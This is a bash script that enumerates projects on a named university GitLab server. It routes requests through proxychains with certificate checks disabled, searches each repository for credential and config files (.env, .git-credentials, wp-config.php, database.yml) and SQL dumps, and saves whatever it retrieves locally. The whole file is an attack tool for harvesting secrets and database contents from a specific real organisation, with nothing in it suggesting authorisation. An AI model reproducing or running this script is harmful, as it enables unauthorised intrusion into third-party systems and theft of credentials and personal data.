#!/bin/bash
echo "=== GitLab Deep Scan - Remaining Projects ==="
echo "Started: $(date)"

base="https://git.uclv.edu.cu/api/v4"
outdir="/tmp/cuba-gitlab-deep"
mkdir -p "$outdir"

# Get all project IDs from pages 1 and 2
echo "Extracting project IDs..."
ids=$(cat /tmp/cuba-gitlab-dump/projects-page-1.json /tmp/cuba-gitlab-dump/projects-page-2.json 2>/dev/null | python3 -c "
import json, sys
data = []
for line in sys.stdin:
    try:
        data.extend(json.loads(line))
    except:
        pass
for p in data:
    print(p['id'])
" 2>/dev/null | sort -n)

echo "Found $(echo "$ids" | wc -l) projects"

# Scan each project for sensitive files
for pid in $ids; do
  # Get tree
  tree=$(proxychains4 -q curl -ks --connect-timeout 10 -m 15 "${base}/projects/${pid}/repository/tree?per_page=100" 2>/dev/null)

  # Check for sensitive files
  for pattern in ".env" "config.json" "database.yml" "credentials" "secrets" ".htpasswd" "wp-config.php" "settings.py" "application.properties" "appsettings.json" "docker-compose.yml" "Dockerfile" ".git-credentials"; do
    if echo "$tree" | grep -qi "$pattern"; then
      echo "  [HIT] Project $pid has: $pattern"
      # Try to download the file
      encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$pattern', safe=''))")
      for ref in master main develop; do
        content=$(proxychains4 -q curl -ks --connect-timeout 10 -m 15 "${base}/projects/${pid}/repository/files/${encoded}/raw?ref=${ref}" 2>/dev/null)
        if [ ${#content} -gt 5 ] && ! echo "$content" | grep -q "404\|Not Found\|error"; then
          echo "$content" > "${outdir}/project-${pid}-$(echo $pattern | tr '/' '-').txt"
          echo "    Downloaded from ref=$ref (${#content} bytes)"
          break
        fi
      done
    fi
  done

  # Also check for SQL dumps
  if echo "$tree" | grep -qi "\.sql"; then
    echo "  [SQL] Project $pid has SQL file"
    sqlfiles=$(echo "$tree" | python3 -c "
import json, sys
try:
    data = json.loads(sys.stdin.read())
    for f in data:
        if '.sql' in f.get('name','').lower():
            print(f['name'])
except:
    pass
" 2>/dev/null)
    for sqlf in $sqlfiles; do
      encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$sqlf', safe=''))")
      for ref in master main develop; do
        size=$(proxychains4 -q curl -ks -o /dev/null -w "%{size_download}" --connect-timeout 10 -m 20 "${base}/projects/${pid}/repository/files/${encoded}/raw?ref=${ref}" 2>/dev/null)
        if [ "$size" -gt 100 ]; then
          echo "    $sqlf: ${size} bytes (ref=$ref)"
          if [ "$size" -lt 5000000 ]; then
            proxychains4 -q curl -ks --connect-timeout 10 -m 60 "${base}/projects/${pid}/repository/files/${encoded}/raw?ref=${ref}" > "${outdir}/project-${pid}-$(echo $sqlf | tr '/' '-')" 2>/dev/null
            echo "    Downloaded!"
          fi
          break
        fi
      done
    done
  fi
done

echo ""
echo "=== Results ==="
ls -la "$outdir/" 2>/dev/null

echo ""
echo "Completed: $(date)"
